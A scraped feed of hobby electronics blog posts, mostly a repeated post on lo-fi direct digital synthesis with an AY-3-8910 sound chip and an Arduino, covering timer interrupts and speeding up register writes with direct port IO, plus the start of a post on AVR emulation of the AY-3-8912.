Here is a close-up of the output signal. The oscilloscope was struggling to get a clean frequency reading, but this is one time I caught it reading something close! I checked the sound itself with a tuning fork (see video). It is indeed 440Hz.
Find it on GitHub here.
Closing Thoughts
I wanted to get something put together to allow me to drive a DSS wavetable over MIDI, with different waveforms, and so on, but it turned out to be a little more involved getting this far than I anticipated, so I’ll leave it here for now.
But hopefully filling in the gaps won’t take too long and will be the subject of a further post.
Now that I have something that works, I’m actually quite surprised by how well it is working.
Kevin
#arduinoNano #ay38910 #dds #define #directDigitalSynthesis #include #midi
#arduinonano #ay38910 #dds #define #directdigitalsynthesis #include
Simple DIY Electronic Music Projects @[email protected] · 2025-07-13 · 13:22 UTC
Arduino and AY-3-8910 – Part 3
I suggested in Part 2 that it might be possible to do some simple modulation of the amplitude of the AY-3-8910 channels rather than drive frequencies directly. This is taking a look at the possibilities of some kind of lo-fi direct digital synthesis using that as a basis.
- Part 1 – Getting started and looking at playing YM files.
- Part 2 – Adding basic MIDI control.
- Part 3 – Basic experiments with direct digital synthesis.
- Part 4 – Using the AY-3-8910 as a 4-bit DAC for Mozzi.
- Part 5 – Driving four AY-3-8910s using my AY-3-8910 Experimenter PCB.
https://makertube.net/w/uCSiBG5RBufGqspoHMYFPt
Warning! I strongly recommend using old or second hand equipment for your experiments. I am not responsible for any damage to expensive instruments!
These are the key tutorials for the main concepts used in this project:
- Arduino AY3891x Library: https://github.com/Andy4495/AY3891x
- Arduino Nano AY-3-8910 PCB: https://github.com/GadgetReboot/AY-3-8910
- AY-3-8910 on synth DIY wiki: https://sdiy.info/wiki/General_Instrument_AY-3-8910
If you are new to Arduino, see the Getting Started pages.
Parts list
- Arduino Uno.
- AY-3-8910 chip.
- Either GadgetReboot’s PCB or patch using solderless breadboard or prototyping boards.
- 5V compatible MIDI interface.
- Jumper wires.
Direct Digital Synthesis on the AY-3-8910
I’ve talked about direct digital synthesis before, so won’t go into full detail again. For more, see Arduino R2R Digital Audio – Part 3 and Arduino PWM Sound Output.
But the top-level idea is to set the level of the signal according to a value in a wavetable. If this value is updated at a useful audio rate then it will be interpreted as sound.
There are some pretty major limitations with attempting to do this on the AY-3-8910 however. The biggest one being that there are only 15 levels for the output on each channel.
So I’ll be working to the following properties:
- 4-bit resolution for the output.
- 8-bit wavetable.
- 8.8 fixed point accumulator to index into the wavetable.
- 8096 Hz sample rate.
YouTuber https://www.youtube.com/@inazumadenki5588 had a look at this and showed that the AY-3-8910 needs to be set up as follows:
- Frequency value for the channel should be set to the highest frequency possible.
- All channels should be disabled.
This is due to comments in the datasheet stating that the only way to fully disable a channel is to have 0 in the amplitude field.
Note: for a 8192 sample rate, that means writing out a sample to the AY-3-8910 registers approximately once every 124uS. With a 256 value wavetable, it takes almost 32 mS to write a complete cycle at the native sample rate, which would be around a 30 Hz output.
I’m not sure what the largest increment that would still give a useful signal might be, but say it was 8 values from the wavetable, then that would make the highest frequency supported around 1kHz. Not great, but certainly audible, so worth a try.
Setting up for DDS
I want a regular, reliable, periodic routine to output the levels from the wavetable, and the usual way to achieve this is using a timer and interrupt. As Timer 1 is already in use to generate the 1MHz clock for the AY-3-8910, I’m going to be configuring Timer 2 as follows:
- Timer 2 is an 8-bit timer.
- Use prescalar of 32 which gives a 500kHz clock source (16MHz/32).
- Use CTC (clear timer on compare) mode.
- Generate a compare match interrupt.
- Do not enable any output pins.
The appropriate ATMega328 registers to enable this are:
```
  // COM2A[1:0] = 00  No output
  //  WGM2[2:0] = 010 CTC mode
  //   CS2[2:0] = 011 Prescalar=32
  ASSR = 0;
  TCCR2A = _BV(WGM21);
  TCCR2B = _BV(CS21) | _BV(CS20);
  TCNT2 = 0;
  OCR2A = 60;
  TIMSK2 = _BV(OCIE2A);
```
Although it is worth noting that enabling OC1A can be quite useful for debugging. The following toggles the OC2A output (on D11) every time there is a compare match. The frequency seen on D11 will thus be half the anticipated sample frequency.
```
pinMode(11, OUTPUT);
TCCR2A |= _BV(COM2A0); // COM2A[1:0] = 01 for OC2A toggle
```
And this does indeed generate a signal. Here is a trace showing a timing GPIO pin and the AY-3-8910 output.
The problem is that this is meant to be a 440Hz sine wave, and whilst the shape isn’t too bad (it is a little distorted as the amplitude isn’t a true linear shape), the frequency is much nearer 100Hz than 440.
Analysis of Performance
The clue is the other trace, which is a timing pin being toggled every time the Interrupt routine is called. This is showing a 1kHz frequency, which means the IRS is being called with a 2kHz frequency rather than the anticipated 8192Hz. Curiously though I am getting an accurate 4kHz toggle on the timer output pin OC1A indicating the timer is correctly counting with a 8kHz frequency.
No matter how I configured things, the interrupt routine just would not do anything at a faster rate. I had to drop the frequency right down to 2kHz to get the output pin and interrupt routing running together. This means that something in the interrupt routine seems to be taking ~ 450uS to run.
After a fair bit of prodding and probing and checking the ATMega328 datasheet and double checking the register values, I have to conclude that the AY3891x library is just too slow at updating the registers for it to be able to run from the interrupt routine at this speed.
Taking a look at the register write() function in the library, which I need to use to update the channel level, I can see the following is happening:
```
void AY3891x::write(byte regAddr, byte data) {
  latchAddressMode(regAddr);
  daPinsOutput(data);
  noInterrupts();
  mode010to110();
  mode110to010();
  interrupts();
  daPinsInput();
}

void AY3891x::latchAddressMode(byte regAddr) {
  mode010to000();
  daPinsOutput(_chipAddress | regAddr); // Register address is 4 lsb
  mode000to001();
  mode001to000();
  mode000to010();
}

void AY3891x::daPinsOutput(byte data) {
  byte i;

  for (i = 0; i < NUM_DA_LINES; i++) {
    if (_DA_pin[i] != NO_PIN) pinMode(_DA_pin[i], OUTPUT);
  }

  for (i = 0; i < NUM_DA_LINES; i++) {
    if (_DA_pin[i] != NO_PIN) {
      digitalWrite(_DA_pin[i], data & 0x01);
      data = data >> 1;
    }
  }
}

void AY3891x::daPinsInput() {
  byte i;

  for (i = 0; i < NUM_DA_LINES; i++) {
    if (_DA_pin[i] != NO_PIN) pinMode(_DA_pin[i], INPUT);
  }
}
```
And every one of those modeXXXtoYYY() functions is a call to digitalWrite(), so I make that 22 calls to ditigalWrite() in order to write a single register value, plus around 16 calls to pinMode(). There are also 5 loops each looping over 8 values.
One person measured the Arduino Uno digitalWrite() function and concluded that it takes 3.4uS to run, so that is a minimum of 75uS of processing in every run through the interrupt routine just for those calls alone. That doesn’t include the calls and other logic going on. It could easily be more than twice that when everything is taken into account.
Dropping in some temporary pin IO either side of the call to the AY write function itself, and I’m measuring just over 250uS for the register update to happen, and that is just for one channel. This means that anything with a period of that or faster is starving the processor from running at all.
Measuring the Basic Performance
At this point I took a step back and created a free-running test sketch to really see what is going on.
```
#include "AY3891x.h"

AY3891x psg( 17, 8, 7, 6, 5, 4, 3, 2, 16, 15, 14);

#define AY_CLOCK 9 // D9
void aySetup () {
  pinMode(AY_CLOCK, OUTPUT);
  digitalWrite(AY_CLOCK, LOW);

  TCCR1A = (1 << COM1A0);
  TCCR1B = (1 << WGM12) | (1 << CS10);
  TCCR1C = 0;
  TIMSK1 = 0;
  OCR1AH = 0;
  OCR1AL = 7; // 16MHz / 8 = 2MHz Counter

  psg.begin();

  // Output highest frequency on each channel, but set level to 0
  // Highest freq = 1000000 / (16 * 1) = 62500
  psg.write(AY3891x::ChA_Amplitude, 0);
  psg.write(AY3891x::ChA_Tone_Period_Coarse_Reg, 0);
  psg.write(AY3891x::ChA_Tone_Period_Fine_Reg,   0);
  psg.write(AY3891x::ChB_Amplitude, 0);
  psg.write(AY3891x::ChB_Tone_Period_Coarse_Reg, 0);
  psg.write(AY3891x::ChB_Tone_Period_Fine_Reg,   0);
  psg.write(AY3891x::ChC_Amplitude, 0);
  psg.write(AY3891x::ChC_Tone_Period_Coarse_Reg, 0);
  psg.write(AY3891x::ChC_Tone_Period_Fine_Reg,   0);

  // LOW = channel is in the mix.
  // Turn everything off..
  psg.write(AY3891x::Enable_Reg, 0xFF);
}

int toggle;
void setup() {
  pinMode(11, OUTPUT);
  toggle = LOW;
  digitalWrite(11, toggle);
  aySetup();
}

void loop() {
  toggle = !toggle;
  digitalWrite(11, toggle);
  for (int i=0; i<16; i++) {
    psg.write(AY3891x::ChA_Amplitude, i);
  }
}
```
All this is doing is continually writing 0 to 15 to the channel A level register whilst toggling a GPIO pin. Putting an oscilloscope trace on the IO pin and the AY-3-8910 channel A output gives me the following:
This is running with a period of 6.96mS, meaning each cycle of 16 writes takes 3.5mS, giving me almost 220uS per call to the AY write function which seems to align pretty well with what I was seeing before.
And this is generating an audible tone at around 280Hz, so regardless of any timer settings or waveform processing, this is going to be the baseline frequency on which everything else would have to rest, which isn’t great.
Optimising Register Writes
So at this point I have the choice of attempting to write to the AY-3-8910 myself using PORT IO to eliminate the time it takes for all those loops and digitalWrite() calls. Or I could try some alternative libraries.
The library I’m using aims for the most portable compatibility: “This library uses the generic digitalWrite() function instead of direct port manipulation, and should therefore work across most, if not all, processors supported by Arduino, so long as enough I/O pins are available for the interface to the PSG.”
It is a deliberate design choice, but does require all three bus control signals to be used: BDIR, BC1, BC2.
Alternatives are possible with less pin state changes, but much stricter timing requirements. Some options include:
- https://github.com/53175ddd/AY-3-8910_Arduino – uses a mixture of PORT IO and digitalWrite(). Assumes use of D0-D7 for data channel.
The following are projects that have not used a library, but just done their own thing:
- https://github.com/internalregister/AY-3-8910 – uses a mixture of digitalWrite and PORT IO. Assumes use of D0-D7 for the data channel.
- https://github.com/GaryA/TB-AY-3_MIDI – uses direct PORT IO for D2-D9
Unfortunately none of these really solves the problem as the PCB I’m using does not neatly map onto IO ports to allow the use of direct PORT IO for the data.
So to improve things whilst using this same PCB will require me to re-write the library myself.
As a test however, it is possible to take the IO pin definitions used with the PCB and write a bespoke, optimised register write routine as follows:
```
void ayFastWrite (byte reg, byte val) {
  // Mode=Addr Latch
  digitalWrite(BC1, HIGH);
  digitalWrite(BDIR, HIGH);

  // Latch address
  // NB: Addresses are all in range 0..15 so don't need to
  //     worry about writing out bits 6,7 - just ensure set to zero
  PORTD = (PORTD & 0x03) | ((reg & 0xCF)<<2);
  PORTB = (PORTB & 0xFE);
  PORTC = (PORTC & 0xF7);

  // Mode = Inactive
  digitalWrite(BC1, LOW);
  digitalWrite(BDIR, LOW);

  delayMicroseconds(10);

  // Mode = Write
  digitalWrite(BC1, LOW);
  digitalWrite(BDIR, HIGH);

  // Write data
  PORTD = (PORTD & 0x03) | ((val & 0xCF)<<2); // Shift bits 0:5 to 2:7
  PORTB = (PORTB & 0xFE) | ((val & 0x40)>>6); // Shift bit 6 to 0
  PORTC = (PORTC & 0xF7) | ((val & 0x80)>>4); // Shift bit 7 to 3

  // Mode = Inactive
  digitalWrite(BC1, LOW);
  digitalWrite(BDIR, LOW);
}
```
I’m using the following mapping of data pins to Arduino digital IO pins to PORTS:
DA0-DA5D2-D7PORTD Bits 0-5DA6D8PORT B Bit 0DA7A3/D17PORT C Bit 3
To make this happen I have to ensure that the right bits are set to OUTPUTs and that BC2 is held HIGH prior to using the fastWrite function.
```
  digitalWrite(BC2, HIGH);
  DDRD |= 0xFC;
  DDRC |= 0x04;
  DDRB |= 0x01;
```
This now improves on that previous 280Hz and gives me 1600Hz performance.
So can I do any better? Well there are still between 6 and 8 calls to digitalWrite going on to handle the control signals…
```
#define BC1LOW  {PORTC &= 0xFE;} // A0 LOW
#define BC1HIGH {PORTC |= 0x01;} // A0 HIGH
#define BC2LOW  {PORTC &= 0xFD;} // A1 LOW
#define BC2HIGH {PORTC |= 0x02;} // A1 HIGH
#define BDIRLOW  {PORTC &= 0xF7;} // A2 LOW
#define BDIRHIGH {PORTC |= 0x04;} // A2 HIGH

void ayFastWrite (byte reg, byte val) {
  // Mode=Addr Latch
  BC1HIGH;
  BDIRHIGH;

  // Latch address
  PORTD = (PORTD & 0x03) | ((reg & 0xCF)<<2);
  PORTB = (PORTB & 0xFE);
  PORTC = (PORTC & 0xF7);

  // Need 400nS Min
  delayMicroseconds(1);

  // Mode = Inactive
  BC1LOW;
  BDIRLOW;

  // Need 100nS settle then 50nS preamble
  delayMicroseconds(1);

  // Mode = Write
  BC1LOW;
  BDIRHIGH;

  // Write data
  PORTD = (PORTD & 0x03) | ((val & 0xCF)<<2); // Shift bits 0:5 to 2:7
  PORTB = (PORTB & 0xFE) | ((val & 0x40)>>6); // Shift bit 6 to 0
  PORTC = (PORTC & 0xF7) | ((val & 0x80)>>4); // Shift bit 7 to 3

  // Need 500nS min
  delayMicroseconds(1);

  // Mode = Inactive
  BC1LOW;
  BDIRLOW;

  // Need 100nS min
}
```
The timings come from the AY-3-8910 datasheet:
The actual minimum and maximum timings for the various “t” values are given in the preceeding table. Most have a minimum value, but tBD has to be noted: the “associative delay time” is 50nS. This means that any changing of BC1, BC2 and BDIR has to occur within 50nS to be considered part of the same action.
There is no means of having a nano-second delay (well, other than just spinning code), so I’ve just used a delayMicroseconds(1) here and there. This isn’t reliably accurate on an Arduino, but as I’m have delays of around half of that as a maximum it seems to be fine.
This now gives me the following:
This is now supporting a natural “as fast as possible” frequency of around 24kHz, meaning each call to the write function is now around 3uS. That is almost a 100x improvement over using all those pinMode and digitalWrite calls.
The downside of this method:
- It is ATMega328 specific.
- It is specific to the pin mappings and PORT usage of this PCB.
- It does not support reading or other chip operations between the writes.
It is also interesting to see that the traces also show the high frequency oscillation (62.5kHz) that is being modulated regardless of the channel frequency and enable settings.
DDS Part 2
Success! At least with a single channel. This is now playing a pretty well in tune 440Hz A.
Notice how the frequency of the timing pin is now ~4.2kHz meaning that the ISR is now indeed firing at the required 8192 Hz.
Here is a close-up of the output signal. The oscilloscope was struggling to get a clean frequency reading, but this is one time I caught it reading something close! I checked the sound itself with a tuning fork (see video). It is indeed 440Hz.
Find it on GitHub here.
Closing Thoughts
I wanted to get something put together to allow me to drive a DSS wavetable over MIDI, with different waveforms, and so on, but it turned out to be a little more involved getting this far than I anticipated, so I’ll leave it here for now.
But hopefully filling in the gaps won’t take too long and will be the subject of a further post.
Now that I have something that works, I’m actually quite surprised by how well it is working.
Kevin
#arduinoNano #ay38910 #dds #define #directDigitalSynthesis #include #midi
#include #define #midi #directdigitalsynthesis #dds #ay38910
Simple DIY Electronic Music Projects @[email protected] · 2025-07-13 · 13:22 UTC
Arduino and AY-3-8910 – Part 3
I suggested in Part 2 that it might be possible to do some simple modulation of the amplitude of the AY-3-8910 channels rather than drive frequencies directly. This is taking a look at the possibilities of some kind of lo-fi direct digital synthesis using that as a basis.
- Part 1 – Getting started and looking at playing YM files.
- Part 2 – Adding basic MIDI control.
- Part 3 – Basic experiments with direct digital synthesis.
- Part 4 – Using the AY-3-8910 as a 4-bit DAC for Mozzi.
- Part 5 – Driving four AY-3-8910s using my AY-3-8910 Experimenter PCB.
https://makertube.net/w/uCSiBG5RBufGqspoHMYFPt
Warning! I strongly recommend using old or second hand equipment for your experiments. I am not responsible for any damage to expensive instruments!
These are the key tutorials for the main concepts used in this project:
- Arduino AY3891x Library: https://github.com/Andy4495/AY3891x
- Arduino Nano AY-3-8910 PCB: https://github.com/GadgetReboot/AY-3-8910
- AY-3-8910 on synth DIY wiki: https://sdiy.info/wiki/General_Instrument_AY-3-8910
If you are new to Arduino, see the Getting Started pages.
Parts list
- Arduino Uno.
- AY-3-8910 chip.
- Either GadgetReboot’s PCB or patch using solderless breadboard or prototyping boards.
- 5V compatible MIDI interface.
- Jumper wires.
Direct Digital Synthesis on the AY-3-8910
I’ve talked about direct digital synthesis before, so won’t go into full detail again. For more, see Arduino R2R Digital Audio – Part 3 and Arduino PWM Sound Output.
But the top-level idea is to set the level of the signal according to a value in a wavetable. If this value is updated at a useful audio rate then it will be interpreted as sound.
There are some pretty major limitations with attempting to do this on the AY-3-8910 however. The biggest one being that there are only 15 levels for the output on each channel.
So I’ll be working to the following properties:
- 4-bit resolution for the output.
- 8-bit wavetable.
- 8.8 fixed point accumulator to index into the wavetable.
- 8096 Hz sample rate.
YouTuber https://www.youtube.com/@inazumadenki5588 had a look at this and showed that the AY-3-8910 needs to be set up as follows:
- Frequency value for the channel should be set to the highest frequency possible.
- All channels should be disabled.
This is due to comments in the datasheet stating that the only way to fully disable a channel is to have 0 in the amplitude field.
Note: for a 8192 sample rate, that means writing out a sample to the AY-3-8910 registers approximately once every 124uS. With a 256 value wavetable, it takes almost 32 mS to write a complete cycle at the native sample rate, which would be around a 30 Hz output.
I’m not sure what the largest increment that would still give a useful signal might be, but say it was 8 values from the wavetable, then that would make the highest frequency supported around 1kHz. Not great, but certainly audible, so worth a try.
Setting up for DDS
I want a regular, reliable, periodic routine to output the levels from the wavetable, and the usual way to achieve this is using a timer and interrupt. As Timer 1 is already in use to generate the 1MHz clock for the AY-3-8910, I’m going to be configuring Timer 2 as follows:
- Timer 2 is an 8-bit timer.
- Use prescalar of 32 which gives a 500kHz clock source (16MHz/32).
- Use CTC (clear timer on compare) mode.
- Generate a compare match interrupt.
- Do not enable any output pins.
The appropriate ATMega328 registers to enable this are:
```
  // COM2A[1:0] = 00  No output
  //  WGM2[2:0] = 010 CTC mode
  //   CS2[2:0] = 011 Prescalar=32
  ASSR = 0;
  TCCR2A = _BV(WGM21);
  TCCR2B = _BV(CS21) | _BV(CS20);
  TCNT2 = 0;
  OCR2A = 60;
  TIMSK2 = _BV(OCIE2A);
```
Although it is worth noting that enabling OC1A can be quite useful for debugging. The following toggles the OC2A output (on D11) every time there is a compare match. The frequency seen on D11 will thus be half the anticipated sample frequency.
```
pinMode(11, OUTPUT);
TCCR2A |= _BV(COM2A0); // COM2A[1:0] = 01 for OC2A toggle
```
And this does indeed generate a signal. Here is a trace showing a timing GPIO pin and the AY-3-8910 output.
The problem is that this is meant to be a 440Hz sine wave, and whilst the shape isn’t too bad (it is a little distorted as the amplitude isn’t a true linear shape), the frequency is much nearer 100Hz than 440.
Analysis of Performance
The clue is the other trace, which is a timing pin being toggled every time the Interrupt routine is called. This is showing a 1kHz frequency, which means the IRS is being called with a 2kHz frequency rather than the anticipated 8192Hz. Curiously though I am getting an accurate 4kHz toggle on the timer output pin OC1A indicating the timer is correctly counting with a 8kHz frequency.
No matter how I configured things, the interrupt routine just would not do anything at a faster rate. I had to drop the frequency right down to 2kHz to get the output pin and interrupt routing running together. This means that something in the interrupt routine seems to be taking ~ 450uS to run.
After a fair bit of prodding and probing and checking the ATMega328 datasheet and double checking the register values, I have to conclude that the AY3891x library is just too slow at updating the registers for it to be able to run from the interrupt routine at this speed.
Taking a look at the register write() function in the library, which I need to use to update the channel level, I can see the following is happening:
```
void AY3891x::write(byte regAddr, byte data) {
  latchAddressMode(regAddr);
  daPinsOutput(data);
  noInterrupts();
  mode010to110();
  mode110to010();
  interrupts();
  daPinsInput();
}

void AY3891x::latchAddressMode(byte regAddr) {
  mode010to000();
  daPinsOutput(_chipAddress | regAddr); // Register address is 4 lsb
  mode000to001();
  mode001to000();
  mode000to010();
}

void AY3891x::daPinsOutput(byte data) {
  byte i;

  for (i = 0; i < NUM_DA_LINES; i++) {
    if (_DA_pin[i] != NO_PIN) pinMode(_DA_pin[i], OUTPUT);
  }

  for (i = 0; i < NUM_DA_LINES; i++) {
    if (_DA_pin[i] != NO_PIN) {
      digitalWrite(_DA_pin[i], data & 0x01);
      data = data >> 1;
    }
  }
}

void AY3891x::daPinsInput() {
  byte i;

  for (i = 0; i < NUM_DA_LINES; i++) {
    if (_DA_pin[i] != NO_PIN) pinMode(_DA_pin[i], INPUT);
  }
}
```
And every one of those modeXXXtoYYY() functions is a call to digitalWrite(), so I make that 22 calls to ditigalWrite() in order to write a single register value, plus around 16 calls to pinMode(). There are also 5 loops each looping over 8 values.
One person measured the Arduino Uno digitalWrite() function and concluded that it takes 3.4uS to run, so that is a minimum of 75uS of processing in every run through the interrupt routine just for those calls alone. That doesn’t include the calls and other logic going on. It could easily be more than twice that when everything is taken into account.
Dropping in some temporary pin IO either side of the call to the AY write function itself, and I’m measuring just over 250uS for the register update to happen, and that is just for one channel. This means that anything with a period of that or faster is starving the processor from running at all.
Measuring the Basic Performance
At this point I took a step back and created a free-running test sketch to really see what is going on.
```
#include "AY3891x.h"

AY3891x psg( 17, 8, 7, 6, 5, 4, 3, 2, 16, 15, 14);

#define AY_CLOCK 9 // D9
void aySetup () {
  pinMode(AY_CLOCK, OUTPUT);
  digitalWrite(AY_CLOCK, LOW);

  TCCR1A = (1 << COM1A0);
  TCCR1B = (1 << WGM12) | (1 << CS10);
  TCCR1C = 0;
  TIMSK1 = 0;
  OCR1AH = 0;
  OCR1AL = 7; // 16MHz / 8 = 2MHz Counter

  psg.begin();

  // Output highest frequency on each channel, but set level to 0
  // Highest freq = 1000000 / (16 * 1) = 62500
  psg.write(AY3891x::ChA_Amplitude, 0);
  psg.write(AY3891x::ChA_Tone_Period_Coarse_Reg, 0);
  psg.write(AY3891x::ChA_Tone_Period_Fine_Reg,   0);
  psg.write(AY3891x::ChB_Amplitude, 0);
  psg.write(AY3891x::ChB_Tone_Period_Coarse_Reg, 0);
  psg.write(AY3891x::ChB_Tone_Period_Fine_Reg,   0);
  psg.write(AY3891x::ChC_Amplitude, 0);
  psg.write(AY3891x::ChC_Tone_Period_Coarse_Reg, 0);
  psg.write(AY3891x::ChC_Tone_Period_Fine_Reg,   0);

  // LOW = channel is in the mix.
  // Turn everything off..
  psg.write(AY3891x::Enable_Reg, 0xFF);
}

int toggle;
void setup() {
  pinMode(11, OUTPUT);
  toggle = LOW;
  digitalWrite(11, toggle);
  aySetup();
}

void loop() {
  toggle = !toggle;
  digitalWrite(11, toggle);
  for (int i=0; i<16; i++) {
    psg.write(AY3891x::ChA_Amplitude, i);
  }
}
```
All this is doing is continually writing 0 to 15 to the channel A level register whilst toggling a GPIO pin. Putting an oscilloscope trace on the IO pin and the AY-3-8910 channel A output gives me the following:
This is running with a period of 6.96mS, meaning each cycle of 16 writes takes 3.5mS, giving me almost 220uS per call to the AY write function which seems to align pretty well with what I was seeing before.
And this is generating an audible tone at around 280Hz, so regardless of any timer settings or waveform processing, this is going to be the baseline frequency on which everything else would have to rest, which isn’t great.
Optimising Register Writes
So at this point I have the choice of attempting to write to the AY-3-8910 myself using PORT IO to eliminate the time it takes for all those loops and digitalWrite() calls. Or I could try some alternative libraries.
The library I’m using aims for the most portable compatibility: “This library uses the generic digitalWrite() function instead of direct port manipulation, and should therefore work across most, if not all, processors supported by Arduino, so long as enough I/O pins are available for the interface to the PSG.”
It is a deliberate design choice, but does require all three bus control signals to be used: BDIR, BC1, BC2.
Alternatives are possible with less pin state changes, but much stricter timing requirements. Some options include:
- https://github.com/53175ddd/AY-3-8910_Arduino – uses a mixture of PORT IO and digitalWrite(). Assumes use of D0-D7 for data channel.
The following are projects that have not used a library, but just done their own thing:
- https://github.com/internalregister/AY-3-8910 – uses a mixture of digitalWrite and PORT IO. Assumes use of D0-D7 for the data channel.
- https://github.com/GaryA/TB-AY-3_MIDI – uses direct PORT IO for D2-D9
Unfortunately none of these really solves the problem as the PCB I’m using does not neatly map onto IO ports to allow the use of direct PORT IO for the data.
So to improve things whilst using this same PCB will require me to re-write the library myself.
As a test however, it is possible to take the IO pin definitions used with the PCB and write a bespoke, optimised register write routine as follows:
```
void ayFastWrite (byte reg, byte val) {
  // Mode=Addr Latch
  digitalWrite(BC1, HIGH);
  digitalWrite(BDIR, HIGH);

  // Latch address
  // NB: Addresses are all in range 0..15 so don't need to
  //     worry about writing out bits 6,7 - just ensure set to zero
  PORTD = (PORTD & 0x03) | ((reg & 0xCF)<<2);
  PORTB = (PORTB & 0xFE);
  PORTC = (PORTC & 0xF7);

  // Mode = Inactive
  digitalWrite(BC1, LOW);
  digitalWrite(BDIR, LOW);

  delayMicroseconds(10);

  // Mode = Write
  digitalWrite(BC1, LOW);
  digitalWrite(BDIR, HIGH);

  // Write data
  PORTD = (PORTD & 0x03) | ((val & 0xCF)<<2); // Shift bits 0:5 to 2:7
  PORTB = (PORTB & 0xFE) | ((val & 0x40)>>6); // Shift bit 6 to 0
  PORTC = (PORTC & 0xF7) | ((val & 0x80)>>4); // Shift bit 7 to 3

  // Mode = Inactive
  digitalWrite(BC1, LOW);
  digitalWrite(BDIR, LOW);
}
```
I’m using the following mapping of data pins to Arduino digital IO pins to PORTS:
DA0-DA5D2-D7PORTD Bits 0-5DA6D8PORT B Bit 0DA7A3/D17PORT C Bit 3
To make this happen I have to ensure that the right bits are set to OUTPUTs and that BC2 is held HIGH prior to using the fastWrite function.
```
  digitalWrite(BC2, HIGH);
  DDRD |= 0xFC;
  DDRC |= 0x04;
  DDRB |= 0x01;
```
This now improves on that previous 280Hz and gives me 1600Hz performance.
So can I do any better? Well there are still between 6 and 8 calls to digitalWrite going on to handle the control signals…
```
#define BC1LOW  {PORTC &= 0xFE;} // A0 LOW
#define BC1HIGH {PORTC |= 0x01;} // A0 HIGH
#define BC2LOW  {PORTC &= 0xFD;} // A1 LOW
#define BC2HIGH {PORTC |= 0x02;} // A1 HIGH
#define BDIRLOW  {PORTC &= 0xF7;} // A2 LOW
#define BDIRHIGH {PORTC |= 0x04;} // A2 HIGH

void ayFastWrite (byte reg, byte val) {
  // Mode=Addr Latch
  BC1HIGH;
  BDIRHIGH;

  // Latch address
  PORTD = (PORTD & 0x03) | ((reg & 0xCF)<<2);
  PORTB = (PORTB & 0xFE);
  PORTC = (PORTC & 0xF7);

  // Need 400nS Min
  delayMicroseconds(1);

  // Mode = Inactive
  BC1LOW;
  BDIRLOW;

  // Need 100nS settle then 50nS preamble
  delayMicroseconds(1);

  // Mode = Write
  BC1LOW;
  BDIRHIGH;

  // Write data
  PORTD = (PORTD & 0x03) | ((val & 0xCF)<<2); // Shift bits 0:5 to 2:7
  PORTB = (PORTB & 0xFE) | ((val & 0x40)>>6); // Shift bit 6 to 0
  PORTC = (PORTC & 0xF7) | ((val & 0x80)>>4); // Shift bit 7 to 3

  // Need 500nS min
  delayMicroseconds(1);

  // Mode = Inactive
  BC1LOW;
  BDIRLOW;

  // Need 100nS min
}
```
The timings come from the AY-3-8910 datasheet:
The actual minimum and maximum timings for the various “t” values are given in the preceeding table. Most have a minimum value, but tBD has to be noted: the “associative delay time” is 50nS. This means that any changing of BC1, BC2 and BDIR has to occur within 50nS to be considered part of the same action.
There is no means of having a nano-second delay (well, other than just spinning code), so I’ve just used a delayMicroseconds(1) here and there. This isn’t reliably accurate on an Arduino, but as I’m have delays of around half of that as a maximum it seems to be fine.
This now gives me the following:
This is now supporting a natural “as fast as possible” frequency of around 24kHz, meaning each call to the write function is now around 3uS. That is almost a 100x improvement over using all those pinMode and digitalWrite calls.
The downside of this method:
- It is ATMega328 specific.
- It is specific to the pin mappings and PORT usage of this PCB.
- It does not support reading or other chip operations between the writes.
It is also interesting to see that the traces also show the high frequency oscillation (62.5kHz) that is being modulated regardless of the channel frequency and enable settings.
DDS Part 2
Success! At least with a single channel. This is now playing a pretty well in tune 440Hz A.
Notice how the frequency of the timing pin is now ~4.2kHz meaning that the ISR is now indeed firing at the required 8192 Hz.
Here is a close-up of the output signal. The oscilloscope was struggling to get a clean frequency reading, but this is one time I caught it reading something close! I checked the sound itself with a tuning fork (see video). It is indeed 440Hz.
Find it on GitHub here.
Closing Thoughts
I wanted to get something put together to allow me to drive a DSS wavetable over MIDI, with different waveforms, and so on, but it turned out to be a little more involved getting this far than I anticipated, so I’ll leave it here for now.
But hopefully filling in the gaps won’t take too long and will be the subject of a further post.
Now that I have something that works, I’m actually quite surprised by how well it is working.
Kevin
#arduinoNano #ay38910 #dds #define #directDigitalSynthesis #include #midi
#arduinonano #ay38910 #dds #directdigitalsynthesis #midi #define
Simple DIY Electronic Music Projects @[email protected] · 2026-04-06 · 08:17 UTC
AY-3-8912/8910 Hardware Emulation

The 40-pin AY-3-8910 devices I’ve been playing with are no longer newly available, but they are pretty available if you are happy with a certain questionable quality (more on that here: Arduino and AY-3-8910).
But the slightly shorter version (with fewer general purpose I/O pins), the 28 pin AY-3-8912, seems a lot harder to find, despite being widely used at the time. At least, to find on its own – i.e. not already soldered onto a circuit board. There is apparently also an even smaller AY-3-8913 in 24-pin format and a few other lesser used options too. But the 8912 is the variant most often found in the ZX Spectrum 128, Amstrad CPC, and many home computers from the time.
A key modern option then is emulation and there is a very capable AVR emulation of the sound generator online including some on PCBs that directly fit within the 28-pin footprint of the original.
One is Yevgeniy-Olexandrenko’s avr-ay-board for the AY-3-8910, AY-3-8912 and YM2149F devices, with a 8912-compatible DIP-28 PCB design using an ATMega48.
Another is published on https://www.avray.ru/, but that appears to be the firmware only. There is a board that uses this firmware built for an ATMega8P here and another for a two-device (dual AY-3-8912 for 6 channel support is often called “Turbosound”) here.
I don’t believe either of these approaches emulate the general purpose IO pins of the 8912/8910, which might be an issue using them “as is” in a retro system. I know the ZX spectrum 128 uses the IO for example.
Some options for replacing original AY-3-8912 devices:
- vRetro’s AY-3-8912 replacement available from https://www.vretrodesign.com/. There is an option for the original plus a “Turbosound” (6 channel) version.
  Note this includes full IO support so really is a drop-in replacement for use in retro systems (my Harlequin 128K kit came with one for example). The chip I have uses the ATTiny1627 and ATTiny1614. I don’t believe the designs are open (that I’ve found). Curiously these two devices have a max clock of 20MHz (relevant later).
- Adaptor boards to allow use of an AY-3-8910 40-pin device in the AY-3-8912 28-pin footprint, e.g.: https://github.com/etomuc/CPC-AY-3-8910-to-8912-adapter
- RC2014 also provides a board for RC2014 systems using the emulator design from https://www.avray.ru/ in place of an original AY-3-8910: https://rc2014.co.uk/modules/why-em-ulator-sound-module/. This uses an ATMega48PA running at 27MHz (see schematic).
- At least one FPGA based replacement: https://retrolemon.co.uk/sinclair/256-ayfpga-dual-ay-turbosound.html
But perhaps my favourite so far is the slightly random, “building an AY-3-8910 out of discrete logic” that I must have a proper look at, at some point: https://github.com/mengstr/Discrete-AY-3-8910
This post looks at how AVR emulation of AY devices works in a little more detail and maybe take some starter steps to reproduce my own.
